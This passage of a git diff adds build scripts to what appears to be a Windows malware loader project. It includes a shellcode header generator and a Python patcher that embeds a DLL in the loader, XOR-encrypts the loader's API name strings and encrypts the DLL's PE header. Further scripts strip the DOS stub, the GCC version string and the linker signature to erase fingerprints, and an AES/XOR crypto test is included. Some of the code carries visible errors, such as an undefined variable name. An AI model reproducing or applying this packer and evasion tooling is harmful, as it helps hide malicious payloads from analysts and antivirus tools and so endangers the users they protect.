Entries ..' + main(sys.argv[1:]) + sys.exit(0) diff --git a/batch/old/bindiff.sh b/batch/old/bindiff.sh new file mode 100755 index 0000000..e598c6b --- /dev/null +++ b/batch/old/bindiff.sh @@ -0,0 +1,12 @@ +#!/bin/bash + + +if [ "x$1" = "x" ] || [ "x$2" = "x" ]; then + echo "$0: [FILE1] [FILE2]" + exit 1 +fi + +xxd "$1" > "$1.hex" +xxd "$2" > "$2.hex" +diff -du "$1.hex" "$2.hex" 2>&1 | less +rm -f "$1.hex" "$2.hex" diff --git a/batch/old/genShellcode.sh b/batch/old/genShellcode.sh new file mode 100755 index 0000000..bf0327a --- /dev/null +++ b/batch/old/genShellcode.sh @@ -0,0 +1,61 @@ +#!/bin/bash + +set -e + +OBJDUMP="$(dirname $0)/../deps/sysroot/bin/i686-w64-mingw32-objdump" +OBJDUMP_ARGS="-z -D" +TMPFILE="$(mktemp)" + + +if [ ! -x ${OBJDUMP} ]; then + echo "$0: ${OBJDUMP} not found!" + false +fi + +if [ "x$1" != "x" -a "x$2" != "x" -a "x$3" != "x" -a "x$4" != "x" ]; then + echo "$0: create tmpfile ${TMPFILE}" + OBJECTFILE="${1}" + OUTPUT="${2}" + DEFINE="${3}" + OBJDUMP_ARGS="${OBJDUMP_ARGS} -j ${4}" + + DO_APPEND=0 + if [ "x$5" != "x" ]; then + echo "$5" | egrep -qi 'append.*=.*true' && DO_APPEND=1 || true + fi + + if [ ! -r ${OBJECTFILE} ]; then + echo "$0: ${OBJECTFILE} not found or not readable" + false + fi + + echo "$0: objdump command: \`${OBJDUMP} ${OBJDUMP_ARGS} ${OBJECTFILE}\`" + export SIZE=0 + if [ ${DO_APPEND} -eq 1 ]; then + echo "$0: APPENDING to ${OUTPUT}" + cp ${OUTPUT} ${TMPFILE} + echo >> ${TMPFILE} + echo '#undef '"${DEFINE}" >> ${TMPFILE} + else + echo '#undef '"${DEFINE}" > ${TMPFILE} + fi + echo -n '#define '"${DEFINE}"' "' >> ${TMPFILE} + # TODO: use objdump -s to show everything (-d shows only valid opcodes) + for i in $(${OBJDUMP} ${OBJDUMP_ARGS} ${OBJECTFILE} |grep "^ " |cut -f2); do + echo -n '\x'$i >>${TMPFILE} + SIZE=$(expr $SIZE + 1) + done + if [ $SIZE -eq 0 ]; then + echo "$0: Whoops! Something went wrong (SIZE=0)." + echo "$0: Check output manually with: \`${OBJDUMP} ${OBJDUMP_ARGS} ${OBJECTFILE}\`" + false + fi + echo '"' >>${TMPFILE} + echo '#undef '"${DEFINE}"'_SIZE' >> ${TMPFILE} + echo '#define '"${DEFINE}"'_SIZE '"${SIZE}" >> ${TMPFILE} + mv ${TMPFILE} ${OUTPUT} + echo "$0: moved ${TMPFILE} to ${OUTPUT}" +else + echo "usage: $0 [OBJECT-FILE or STATIC-LIB] [OUTPUT-HEADER] [OUTPUT-DEFINE] [LOADER-SECTION] [DO-APPEND=[TRUE|FALSE]]" + exit 1 +fi diff --git a/batch/old/genhex.sh b/batch/old/genhex.sh new file mode 100755 index 0000000..114ea34 --- /dev/null +++ b/batch/old/genhex.sh @@ -0,0 +1,18 @@ +#!/bin/bash + +if [ -z "$1" ]; then + DPATH="$(pwd)" +else + DPATH="$1" +fi + +echo "$0: generate *.hex files in $(ls ${DPATH})" +for file in $(ls ${DPATH}); do + [ -d ${file} ] && continue + FLEN=$((${#file}-4)) + FSUFFIX=${file:$FLEN:4} + if [ "$FSUFFIX" != ".hex" ]; then + xxd "${file}" > "${file}.hex" + fi +done + diff --git a/batch/patchLoader.py b/batch/patchLoader.py new file mode 100755 index 0000000..8697e0a --- /dev/null +++ b/batch/patchLoader.py @@ -0,0 +1,465 @@ +#!/usr/bin/env python2.7 + +import sys +import struct +import os +import re +import subprocess +import random +from optparse import OptionParser, OptionGroup + + +objdmp_bin = os.path.dirname(sys.argv[0]) + '/../deps/sysroot/i686-w64-mingw32/bin/i686-w64-mingw32-objdump' +pyload_name = 'pyloader' +pyload_so = os.path.dirname(sys.argv[0]) + '/../bin/'+pyload_name +pycrypt_name = 'pycrypt' +pycrypt_so = os.path.dirname(sys.argv[0]) + '/../bin/'+pycrypt_name +objdmp_sargs = '-h' +objdmp_dargs = '-x' +objdmp_retval = None + + +def require_pyso(name, path): + try: + import imp + pymod = imp.load_dynamic(name, path) + except (ImportError, IOError): + return None + return pymod + +def parse_c_array(carr): + m = re.finditer(r'(([0-9a-fA-F]){2})+', carr) + ret = bytearray() + for val in m: + for byte in bytearray.fromhex(val.group()): + ret += struct.pack("B", byte & 0xFF) + return ret + +def objdump_print_err(bname): + if objdmp_retval is not None: + sys.stderr.write(bname + ': objdump ('+objdmp_bin+') returned: ' + str(objdmp_retval) + '\n') + +def objdump_data(path): + p = subprocess.Popen(str(objdmp_bin)+' '+objdmp_dargs+' '+str(path), shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + found = 0 + OBJDMP_NEED = [ 'ImageBase', 'SizeOfImage', 'SizeOfHeaders' ] + regexmstr = str().join(['|'+s for s in OBJDMP_NEED])[1:] + matchdict = {key: int(-1) for key in OBJDMP_NEED} + for line in p.stdout.readlines(): + regex = re.match(r'^\s*('+regexmstr+')\s+([0-9a-fA-F]+)', line) + if regex: + found += 1 + matchdict[regex.group(1)] = int(regex.group(2), 16) + retval = p.wait() + global objdmp_retval + objdmp_retval = retval + retlst = list() + retlst += [(retval,found)] + for key in OBJDMP_NEED: + retlst += [matchdict[key]] + return retlst + +def objdump_sections(path, section): + p = subprocess.Popen(str(objdmp_bin)+' '+objdmp_sargs+' '+str(path), shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + r = False + for line in p.stdout.readlines(): + regex = re.match(r'^\s+[0-9]+\s+'+section+r'\s+([0-9a-fA-F]+)\s+([0-9a-fA-F]+)\s+[0-9a-fA-F]+\s+([0-9a-fA-F]+)', line) + if regex: + secPtr = int(regex.group(3), 16) + secVma = int(regex.group(2), 16) + secSiz = int(regex.group(1), 16) + r = True + break + retval = p.wait() + global objdmp_retval + objdmp_retval = retval + if r and retval == 0: + return ( secVma, secPtr, secSiz ) + else: + return ( None, None, None ) + +def file_to_buf(path): + buf = bytearray() + with open(path, "rb") as fin: + for line in fin: + buf += line + return buf + return None + +def buf_to_file(path, buf): + with open(path, "wb") as fout: + fout.write(str(buf)) + fout.flush() + return True + return False + +def find_endmarker_offset(endmarker, bytebuf, ldrPtr, ldrSiz): + if type(bytebuf) is not bytearray: + return -1 + return str(buf).find(endmarker, 0 if ldrPtr is None else ldrPtr, 0 if ldrSiz is None or ldrSiz is None else ldrPtr+ldrSiz) + +def swapByteOrder32(bytebuf, offset): + if type(offset) == int and (type(bytebuf) == int or bytebuf is None): + intval = struct.unpack("<I", struct.pack(">I", offset))[0] + elif type(offset) == int and type(bytebuf) == bytearray: + intval = struct.unpack('<I', bytebuf[offset:offset+0x4])[0] + else: raise TypeError('bytebuf must be either int or bytearray') + return bytearray([(intval >> i & 0xff) for i in (24,16,8,0)]) + +def setInt32(bytebuf, offset, intbuf): + if type(bytebuf) != bytearray or \ + type(intbuf) != int or \ + type(offset) != int: + raise TypeError('Check your arguments: f(%s,%s,%s)' % (type(bytebuf),type(offset),type(intbuf))) + bytebuf[offset:offset+4] = swapByteOrder32(None, intbuf) + +def getInt32(bytebuf, offset): + if type(bytebuf) != bytearray or \ + type(offset) != int: + raise TypeError('Check your arguments: f(%s,%s)' % (type(bytebuf),type(offset))) + return swapByteOrder32(bytebuf, offset) + +def setInt32Buf(bytebuf, offset, buf): + if type(bytebuf) != bytearray or \ + type(buf) != bytearray or \ + type(offset) != int: + raise TypeError('Check your arguments: f(%s,%s,%s)' % (type(bytebuf),type(offset),type(buf))) + if len(buf) % 4 != 0: + raise TypeError('buffer length is not a multiple of 4: %d' % (len(buf))) + for i in range(0, len(buf), 4): + setInt32(bytebuf, offset+i, int(str(buf[i:i+4]).encode('hex'), 16)) + +def getInt32Buf(bytebuf, offset, maxlen=4): + if type(bytebuf) != bytearray or \ + type(offset) != int or \ + type(maxlen) != int: + raise TypeError('Check your arguments: f(%s,%s,%s)' % (type(bytebuf),type(offset),type(buf))) + if maxlen % 4 != 0: + raise TypeError('max length is not a multiple of 4: %d' % (maxlen)) + retbuf = bytearray(maxlen) + for i in range(0, maxlen, 4): + retbuf[i:i+4] = getInt32(bytebuf, offset+i) + return retbuf + +def calcLoaderStructOffset(endmarkerOffset, loaderOffsets): + structsiz = loaderOffsets['structSize'] + endmarkersiz = loaderOffsets['endMarkerSize'] + return endmarkerOffset + endmarkersiz - structsiz + +# patches ptrToDLL, sizOfDLL +def patchLoader(bytebuf, loaderOffsets, endmarkerOffset, (dllVma, dllPtr, dllSiz)): + buf = bytebuf + if buf is None: + return False + structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets) + + # loader: uint32_t ptrToDLL, uint32_t sizOfDLL + setInt32(bytebuf, structbase + loaderOffsets['ptrToDLL'], dllVma) + setInt32(bytebuf, structbase + loaderOffsets['sizOfDLL'], dllSiz) + return True + +# get loader iv/key or generate (and patch) it if user want so +def getXorKeyIv(bytebuf, loaderOffsets, endmarkerOffset, gen_func=None): + buf = bytebuf + if buf is None: + return (None,None) + structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets) + + ldr_key = loaderOffsets['key[0]'] + ldr_iv = loaderOffsets['iv[0]'] + ldr_ivkeylen = loaderOffsets['ldrIvKeyLen'] + ldr_ivkeysiz = loaderOffsets['ldrIvKeySiz'] + + keybuf = getInt32Buf(buf, structbase + ldr_key, ldr_ivkeylen*ldr_ivkeysiz) + ivbuf = getInt32Buf(buf, structbase + ldr_iv, ldr_ivkeylen*ldr_ivkeysiz) + keypatched = False + ivpatched = False + if keybuf == '\x00'*(ldr_ivkeylen*ldr_ivkeysiz) and gen_func is not None: + setInt32Buf(buf, structbase + ldr_key, gen_func(ldr_ivkeylen)) + keybuf = getInt32Buf(buf, structbase + ldr_key, ldr_ivkeylen*ldr_ivkeysiz) + keypatched = True + if ivbuf == '\x00'*(ldr_ivkeylen*ldr_ivkeysiz) and gen_func is not None: + setInt32Buf(buf, structbase + ldr_iv, gen_func(ldr_ivkeylen)) + ivbuf = getInt32Buf(buf, structbase + ldr_iv, ldr_ivkeylen*ldr_ivkeysiz) + ivpatched = True + return ( (keybuf, keypatched), (ivbuf, ivpatched) ) + +def isLoaderStringsEncrypted(bytebuf, loaderOffsets, endmarkerOffset, xorkey, xoriv, xor_npcbc_func=None): + buf = bytebuf + if buf is None: + return False + structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets) + + (ldr_sVALen, ldr_sIBRPLen) = loaderOffsets['ldrStrLen'] # NULL-char included + ldr_strivkeylen = loaderOffsets['ldrStrIvKeyLen'] + ldr_ivkeysiz = loaderOffsets['ldrIvKeySiz'] + + abs_siz = ldr_strivkeylen*ldr_ivkeysiz + key = xorkey[:abs_siz] + iv = xoriv[:abs_siz] + + (ldr_sVALen, ldr_sIBRPLen) = loaderOffsets['ldrStrLen'] # NULL-char included + idxVA = structbase + loaderOffsets['strVirtualAlloc[0]'] + idxIBRP = structbase + loaderOffsets['strIsBadReadPtr[0]'] + strVA = getInt32Buf(buf, idxVA, ldr_sVALen-1) + strIBRP = getInt32Buf(buf, idxIBRP, ldr_sIBRPLen-1) + + retplain = bool(str(strVA).isalpha() is True and str(strIBRP).isalpha() is True) + if retplain is True: + retvalid = True + else: + decVA = getInt32Buf(xor_npcbc_func(strVA, key, iv), 0, ldr_sVALen-1) + decIBRP = getInt32Buf(xor_npcbc_func(strIBRP, key, iv), 0, ldr_sIBRPLen-1) + retvalid = bool(decVA.isalpha()) is True and bool(decIBRP.isalpha()) is True + return (retplain, retvalid) + +# patches (encrypt) loader strings +def patchLoaderStrings(bytebuf, loaderOffsets, endmarkerOffset, xorkey, xoriv, xor_npcbc_func=None): + buf = bytebuf + if buf is None or xor_npcbc_func is None: + return False + structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets) + + (ldr_sVALen, ldr_sIBRPLen) = loaderOffsets['ldrStrLen'] # NULL-char included + ldr_strivkeylen = loaderOffsets['ldrStrIvKeyLen'] + ldr_ivkeysiz = loaderOffsets['ldrIvKeySiz'] + + abs_siz = ldr_strivkeylen*ldr_ivkeysiz + key = xorkey[:abs_siz] + iv = xoriv[:abs_siz] + + idxVA = structbase + loaderOffsets['strVirtualAlloc[0]'] + idxIBRP = structbase + loaderOffsets['strIsBadReadPtr[0]'] + strVA = getInt32Buf(buf, idxVA, ldr_sVALen-1) + strIBRP = getInt32Buf(buf, idxIBRP, ldr_sIBRPLen-1) + + (cipherVA, cipherIBRP) = ( xor_npcbc_func(strVA, key, iv), xor_npcbc_func(strIBRP, key, iv) ) + if len(cipherVA) != ldr_sVALen -1 or len(cipherIBRP) != ldr_sIBRPLen -1: + return False + (plainVA, plainIBRP) = ( xor_npcbc_func(cipherVA, key, iv), xor_npcbc_func(cipherIBRP, key, iv) ) + if plainVA != strVA or plainIBRP != strIBRP: + return False + + setInt32Buf(buf, idxVA, cipherVA) + setInt32Buf(buf, idxIBRP, cipherIBRP) + return True + +def isDllHeaderEncrypted(buf, dllPtr): + e_lfanew_OFFSET = 0x3C + e_lfanew = struct.unpack("<L", buf[e_lfanew_OFFSET:e_lfanew_OFFSET+0x4])[0] + if buf[dllPtr:dllPtr+0x2] != '\x4d\x5a' or e_lfanew < 0x40 or e_lfanew > 0x400: + return (False, False) + if len(buf) < e_lfanew+2: + return (True, False) + if buf[dllPtr+e_lfanew:dllPtr+e_lfanew+2] == '\x50\x45': + return (True, False) + return (True, True) + +def patchEncryptDll(buf, dllPtr, dllSiz, xorkey, xoriv, xor_npcbc_func=None): + if dllPtr+dllSiz < len(buf) or dllSiz % 8 != 0: + return (False, False, False) + hdrbuf = getInt32Buf(buf, dllPtr, dllSiz) + cipherHeader = xor_npcbc_func(hdrbuf, xorkey, xoriv) + if len(cipherHeader) != len(hdrbuf): + return (True, False, False) + plainHeader = xor_npcbc_func(cipherHeader, xorkey, xoriv) + if len(cipherHeader) != len(plainHeader): + return (True, True, False) + if hdrbuf != plainHeader: + return (True, True, False) + setInt32Buf(buf, dllPtr, cipherHeader) + return (True, True, True) + + +if __name__ == "__main__": + parser = OptionParser() + parser.add_option("-q", "--quiet", action="store_false", dest="verbose", default=True, help="don't print status messages to stdout") + parser.add_option("-o", "--objdump", dest="objdmp_bin", default=objdmp_bin, help="path to mingw objdump binary [default: %default]") + parser.add_option("-f", "--out-file", dest="out_file", help="set output file [default: same as --win32]") + parser.add_option("-l", "--pyload", dest="pyload", default=pyload_so, help="set "+pyload_name+" path [required, default: %default]") + parser.add_option("-c", "--pycrypt", dest="pycrypt", default=pycrypt_so, help="set "+pycrypt_name+" path [required, default: %default]") + bingrp = OptionGroup(parser, "Binary Options", None) + bingrp.add_option("-w", "--win32", dest="win32_pe", help="path to windows pe binary which contains the loader [required]") + bingrp.add_option("-b", "--binary", dest="miller_bin", help="patch loader with sections from miller dll") + parser.add_option_group(bingrp) + ldrgrp = OptionGroup(parser, "WIN32_PE Options", None) + ldrgrp.add_option("-e", "--endmarker", dest="endmarker", help="set the loader endmarker value (4*n bytes)") + ldrgrp.add_option("-s", "--ldr-section", dest="section", help="specify the loader section name [required]") + ldrgrp.add_option("-t", "--dll-section", dest="target_section", help="psecify the dll section name") + ldrgrp.add_option("-r", "--crypt-strings", action="store_true", dest="crypt_strings", help="encrypt loader strings") + ldrgrp.add_option("-H", "--crypt-dll", action="store_true", dest="crypt_dll", help="encrypt dll pe header") + parser.add_option_group(ldrgrp) + actgrp = OptionGroup(parser, "Actions", None) + actgrp.add_option("-a", "--show-address", action="store_true", dest="show_adr", help="shows section offset (if found) from the pe binary") + actgrp.add_option("-z", "--show-size", action="store_true", dest="show_siz", help="shows section size (if found) from the pe binary") + actgrp.add_option("-m", "--show-marker", action="store_true", dest="show_marker", help="shows the endmarker (offset)") + actgrp.add_option("-k", "--show-xorkey", action="store_true", dest="show_xorkey", help="print XOR key to stdout") + actgrp.add_option("-i", "--show-xoriv", action="store_true", dest="show_xoriv", help="print XOR iv to stdout") + actgrp.add_option("-p", "--patch", action="store_true", dest="patch", default=False, help="patch the --section with address and size information from --target-section") + parser.add_option_group(actgrp) + (options, args) = parser.parse_args() + + bname = os.path.basename(sys.argv[0]) + # load *.so's if necessary + pyload = require_pyso(pyload_name, options.pyload) + # some commands need pycrypt module + pycrypt = require_pyso(pycrypt_name, options.pycrypt) + if pycrypt is None: + sys.stderr.write(bname + ': Could not import '+pycrypt_name+': ' + options.pycrypt + '.\n') + sys.exit(1) + + endmarker = None + if pyload is None: + sys.stderr.write(bname + ': WARNING: Could not import '+pyload_name+': ' + options.pyload + '.\n') + if options.patch: + sys.stderr.write(bname + ': Patching requires '+pyload_name+'\n') + sys.exit(1) + else: + endmarker = pyload.getEndmarker() + loaderdict = pyload.getStructOffset() + + # argument checks + # pyloader python lib and endmarker + if not options.endmarker and pyload is None: + sys.stderr.write(bname + ': missing --endmarker and '+pyload_name+' ('+options.pyload+') not imported\n') + sys.exit(1) + elif not options.endmarker: + sys.stderr.write(bname + ': using default endmarker 0x'+str(endmarker).encode('hex')+'\n') + else: + tmp = str(parse_c_array(options.endmarker)) + if endmarker is not None and tmp != endmarker: + sys.stderr.write(bname + ': WARNING: LOADER_ENDMARKER is not equal --endmarker: '+str(endmarker).encode('hex')+' != '+str(tmp).encode('hex')+'\n') + sys.stderr.write(bname + ': using '+str(tmp).encode('hex')+'\n') + endmarker = tmp + if len(endmarker) % 4 != 0: + sys.stderr.write(bname + ': endmarker length MUST be a multiple of 4 and not ' + str(len(endmarker)) + '\n') + sys.exit(1) + if options.verbose: + print bname + ': using 0x' + endmarker.encode('hex') + ' as endmarker' + # win32_pe is required for all operations + if options.win32_pe is None: + sys.stderr.write(bname + ': WIN32_PE is required for all operations\n') + parser.print_help() + sys.exit(1) + # same applies for section (TODO: Maybe discard section and search for endmarker in whole pe file) + if options.section is None: + sys.stderr.write(bname + ': --win32 needs --section\n') + parser.print_help() + sys.exit(1) + # target section is required (specifies the DLL section) + if options.patch and options.target_section is None: + sys.stderr.write(bname + ': --patch needs --target-section\n') + parser.print_help() + sys.exit(1) + # patch win32_pe directly if possible + if options.out_file is None: + options.out_file = options.win32_pe + + for binary in [options.win32_pe, options.miller_bin]: + if binary is not None: + if not os.access(binary, os.R_OK): + sys.stderr.write(bname + ': No read access ' + binary + '\n') + sys.exit(2) + + if not(os.path.isfile(objdmp_bin) or os.access(objdmp_bin, os.X_OK)): + sys.stderr.write(bname + ': objdump ('+objdmp_bin+') does not exist or is not executable\n') + sys.exit(2) + + # read win32pe/miller_bin + buf = None + (ldrVma, ldrPtr, ldrSiz) = objdump_sections(options.win32_pe, options.section) + if (ldrVma or ldrPtr or ldrSiz) is None: + sys.stderr.write(bname + ': Error: Loader section missing or objdump binary does not work.\n') + objdump_print_err(bname) + sys.exit(3) + # print section offset/size + if options.verbose: + print bname + (': found section %s in %s (RVA: 0x%08X | PTR: 0x%08X | SIZ: 0x%08X)' % (options.section, options.win32_pe, ldrVma, ldrPtr, ldrSiz)) + # load file to memory + buf = file_to_buf(options.win32_pe) + if buf is None: + sys.stderr.write(bname + ': could not load file '+options.win32_pe+' into memory\n') + sys.exit(3) + # search loader endmarker + endoff = find_endmarker_offset(endmarker, buf, ldrPtr, ldrSiz) + if endoff == -1: + sys.stderr.write(bname + ': endmarker(`'+endmarker.encode('hex')+'`) not found\n') + sys.exit(3) + if options.verbose: + print bname + ': endmarker(`'+endmarker.encode('hex')+'`) found at '+str(endoff)+' ('+str(hex(endoff))+')' + # -a, -z, -m + if options.show_adr: + print str(ldrPtr) if not options.verbose else str(bname) + ': '+options.section+' offset: '+str(ldrPtr)+' ('+str(hex(ldrPtr))+')' + if options.show_siz: + print str(ldrSiz) if not options.verbose else str(bname) + ': '+options.section+' size: '+str(ldrSiz)+' ('+str(hex(ldrSiz))+')' + if options.show_marker: + print str(endoff) if not options.verbose else str(bname) + ': '+options.section+' endmarker: '+str(endoff)+' ('+str(hex(endoff))+')' + + # parse dll and patch loader + if options.win32_pe is not None: + if options.target_section is None: + sys.stderr.write(bname + ': Dumping data from target section requires --dll-section\n') + sys.exit(3) + (dllVma, dllPtr, dllSiz) = objdump_sections(options.win32_pe, options.target_section) + if (dllVma or dllPTr or dllSiz) is None: + sys.stderr.write(bname + ': Error: DLL (target)section missing or objdump binary does not work.\n') + objdump_print_err(bname) + sys.exit(3) + if options.verbose: + print bname + (': found section %s in %s (RVA: 0x%08X | PTR: 0x%08X | SIZ: 0x%08X)' % (options.target_section, options.win32_pe, dllVma, dllPtr, dllSiz)) + + # let's encrypt + if pycrypt is not None and options.win32_pe is not None and buf is not None: + ((keybuf,keypatched), (ivbuf,ivpatched)) = getXorKeyIv(buf, loaderdict, endoff, pycrypt.xorRandomKeyIv) + if options.verbose: + print bname + ': ' + ('XOR(KEY) patched' if keypatched is True else 'XOR(KEY) !patched') + ', ' + ('XOR(IV) patched' if ivpatched is True else 'XOR(IV) !patched') + print (bname + ': XOR(KEY,LEN): %s (%d bytes)\n' + bname + ': XOR(IV ,LEN): %s (%d bytes)') % (str(keybuf).encode('hex'), len(keybuf), str(ivbuf).encode('hex'), len(ivbuf)) + else: + if options.show_xorkey: + print str(keybuf).encode('hex') + if options.show_xoriv: + print str(ivbuf).encode('hex') + + # Loader string encryption + if options.crypt_strings is True: + (isPlain, isValid) = isLoaderStringsEncrypted(buf, loaderdict, endoff, keybuf, ivbuf, pycrypt.xorCrypt) + if not isValid: + sys.stderr.write(bname + ': XOR Loader Strings are not valid, wrong XOR key/iv?\n') + sys.exit(4) + if not isPlain: + sys.stderr.write(bname + ': XOR Loader Strings already encrypted\n') + elif patchLoaderStrings(buf, loaderdict, endoff, keybuf, ivbuf, pycrypt.xorCrypt) is not True: + sys.stderr.write(bname + ': XOR Crypt Loader Strings failed\n') + sys.exit(4) + elif options.verbose: + print bname + ': String encryption succeeded!' + + # PE binary encryption + if options.crypt_dll is True: + (validDOS, validPE) = isDllHeaderEncrypted(buf, dllPtr) + if validDOS is not True or validPE is not True: + sys.stderr.write(bname + ': Not a valid DOS/PE Header, already encrypted?\n') + else: + ret = patchEncryptDll(buf, dllPtr, dllSiz, keybuf, ivbuf, pycrypt.xorCrypt) + if ret != (True, True, True): + sys.stderr.write(bname + ': PE encryption failed! Returned: %s\n' % (str(ret))) + sys.exit(4) + if options.verbose: + print bname + ': PE encryption done' + + # parse dll and patch loader + if options.patch and pyload is not None and buf is not None: + if options.verbose: + print bname + (': Patching Loader with dll section (RVA: 0x%08X | PTR: 0x%08X | SIZ: 0x%08X)' % (dllVma,dllPtr,dllSiz)) + found = patchLoader(buf, loaderdict, endoff, (dllVma,dllPtr,dllSiz)) + if found: + if not buf_to_file(options.out_file, buf): + sys.stderr.write(bname + ': could not write buffer to disk\n') + sys.exit(4) + if options.verbose: + print bname + ': Patching succeeded!' + else: + sys.stderr.write(bname + ': None found ..\n') + sys.exit(4) + + sys.exit(0) diff --git a/batch/pycrypt_test.py b/batch/pycrypt_test.py new file mode 100755 index 0000000..1d7e0fb --- /dev/null +++ b/batch/pycrypt_test.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python2.7 + +import binascii, imp, time, sys, os.path + + +m = imp.load_dynamic('pycrypt',os.path.dirname(sys.argv[0])+'/../bin/pycrypt') +m.info() + +def check_str(d, p): + if str(d).find(str(p)) != 0 and len(d) != len(p): + sys.stderr.write('ERROR: "' + str(d) + '" != "' + str(p) + '"\n') + sys.stderr.write(' ' + str(len(d)) + ' , ' + str(len(p)) + ' , ' + str(len(binascii.hexlify(d))) + ' , ' + str(len(binascii.hexlify(p))) + '\n') + sys.stderr.write(' "' + binascii.hexlify(d) + '"\n') + sys.stderr.write(' "' + binascii.hexlify(p) + '"\n') + +count = int(sys.argv[1]) if len(sys.argv) > 1 else -1 +while count != 0: + k = m.aesRandomKey(m.KEY_256) + print 'AESKey:', binascii.hexlify(k) + + p = 'Top Secret Message!' + str('#'*0) + + x = m.aesAllocCtx(k) + print 'AESCtx:', binascii.hexlify(x) + + c = m.aesCrypt(x, p, True) + print 'AESMsg:', binascii.hexlify(c), '(%d)' % (len(c)) + + d = m.aesCrypt(x, c, False) + print 'OrgMsg:', binascii.hexlify(d), binascii.hexlify(p) + print ' ', str(d), '(%d)' % (len(d)) + + check_str(d,p) + + xork = m.xorRandomKeyIv(8) + xori = m.xorRandomKeyIv(8) + print 'XorKey:', binascii.hexlify(xork) + print 'XorIv.:', binascii.hexlify(xori) + + c = m.xorCrypt(p, xork, xori) + print 'XorMsg:', binascii.hexlify(c), '(%d)' % (len(c)) + + d = m.xorCrypt(c, xork, xori) + print 'OrgMsg:', binascii.hexlify(d) + print ' ', str(d), '(%d)' % (len(d)) + + check_str(d,p) + + time.sleep(0.01) + + if count > 0: + count -= 1 diff --git a/batch/removeDosStub.py b/batch/removeDosStub.py new file mode 100755 index 0000000..8ed2247 --- /dev/null +++ b/batch/removeDosStub.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python2.7 + +import sys +import struct +import os +import binascii + + +e_lfanew_OFFSET = 0x40 +SizeOfHeaders_OFFSET = 0x04 + 0x14 + 0x3C # sizeof(PE_sig) + sizeof(COFF_hdr) + Optional_hdr->SizeOfHeaders +SizeOfHeaders_DEFAULT = 0x400 # default value for GCC + + +def main(argv): + found = 0 + absfound = 0 + buf = bytearray() + with open(argv[0], "rb") as fin: + for line in fin: + buf += line + if buf[0:2] != '\x4d\x5a': + return False + + e_lfanew = struct.unpack("<L", buf[e_lfanew_OFFSET-0x4:e_lfanew_OFFSET])[0] + dosStubSiz = e_lfanew - e_lfanew_OFFSET + if buf[e_lfanew:e_lfanew+0x2] != '\x50\x45': + return False + i = int(e_lfanew) + SizeOfHeaders_OFFSET + SizeOfHeaders = struct.unpack("<L", buf[i:i+0x4])[0] + if SizeOfHeaders > SizeOfHeaders_DEFAULT or SizeOfHeaders <= 0: + return False + + newstart = (e_lfanew - dosStubSiz) + if newstart <= 0: + return False + newstart = struct.pack("<L", newstart) + + buf[0x2:0x3C] = '\x00'*(0x3C-0x2) + buf[0x3C:0x40] = newstart + buf[0x40:0x40+dosStubSiz] = '\x00'*(0x80-0x40) + buf[e_lfanew_OFFSET:] = buf[e_lfanew:SizeOfHeaders] + bytearray('\x00'*dosStubSiz) + buf[SizeOfHeaders:] + + with open(argv[0], "wb") as fout: + fout.write(str(buf)) + fout.flush() + return True + +if __name__ == "__main__": + bname = os.path.basename(sys.argv[0]) + if len(sys.argv) < 2: + sys.stderr.write(bname + ' usage: ' + sys.argv[0] + ' [WIN32_PE]\n') + sys.exit(1) + if not os.access(sys.argv[1], os.W_OK): + sys.stderr.write(bname + ': No write access: ' + sys.argv[1] + '\n') + sys.exit(2) + print bname + ': Checking DOS/PE Header' + if main(sys.argv[1:]): + print bname + ': NULL\'d/REMOVED unused DOS header values/stub' + else: + print bname + ': Not a valid DOS/PE Header/Stub' + sys.exit(3) + + sys.exit(0) diff --git a/batch/removeGccVersion.py b/batch/removeGccVersion.py new file mode 100755 index 0000000..b88f581 --- /dev/null +++ b/batch/removeGccVersion.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python2.7 + +import sys +import struct +import os + +# replaces 'GCC: (GNU) 4.9.4' with zeroes (.rdata$zzz) +needle = '\x47\x43\x43\x3a\x20\x28\x47\x4e\x55\x29\x20\x34\x2e\x39\x2e\x34' +# zeroing major+minor linker version (0x010b = magic, 0x02 major, 0x19 minor => GNU ld 2.25) +needle2 = '\x0b\x01\x02\x19' + +def main(argv): + found = 0 + absfound = 0 + buf = bytearray() + with open(argv[0], "rb") as fin: + for line in fin: + buf += line + with open(argv[0], "wb") as fout: + pos = str(buf).find(needle) + while pos > -1: + poslen = 0 + if pos > -1: + for v in buf[pos:]: + if v == 0: + break + poslen += 1 + buf[pos:pos+poslen] = '\x00'*poslen + found += 1 + absfound += poslen + pos = str(buf).find(needle) + + pos = str(buf).find(needle2) + ldsig = False + if pos > -1 and pos <= 0x200: + ldsig = True + buf[pos+2] = '\x00' + buf[pos+3] = '\x00' + + fout.write(str(buf)) + fout.flush() + return ( bool(ldsig), int(found), int(absfound) ) + +if __name__ == "__main__": + bname = os.path.basename(sys.argv[0]) + if len(sys.argv) < 2: + sys.stderr.write(bname + ' usage: ' + sys.argv[0] + ' [WIN32_PE]\n') + sys.exit(1) + if not os.access(sys.argv[1], os.W_OK): + sys.stderr.write(bname + ': No write access: ' + sys.argv[1] + '\n') + sys.exit(2) + print bname + ': Searching for GCC Fingerprint:', needle.encode('hex') + (ldsig, found, abslen) = main(sys.argv[1:]) + if found > 0: + print bname + ': Found', found, 'occurences; Zero\'d:', found * len(needle) + abslen, 'bytes' + else: + print bname + ': None found .. (.rdata$zzz already removed)' + if ldsig: + print bname + ': Linker signature removed ..' + else: + print bname + ': No Linker signature found' + + sys.exit(0) diff --git a/cmake/CMakeBuildDeps.cmake b/cmake/CMakeBuildDeps.cmake new file mode 100644 index 0000000..632e9cc --- /dev/null +++ b/cmake/CMakeBuildDeps.cmake @@ -0,0 +1,8 @@ +set(DEPS_BUILDSTAMP deps/sysroot/.stamp_build) + +add_custom_command(OUTPUT ${DEPS_BUILDSTAMP} + COMMAND ./deps/makedeps.sh && touch ${DEPS_BUILDSTAMP} +) +add_custom_target(deps + DEPENDS ${DEPS_BUILDSTAMP} +) diff --git a/cmake/CMakeMillerBuild.cmake b/cmake/CMakeMillerBuild.cmake new file mode 100644 index 0000000..0fc900c --- /dev/null +++ b/cmake/CMakeMillerBuild.cmake @@ -0,0 +1,127 @@ +set(MILLER_SRC snprintf.c aes.c crypt.c 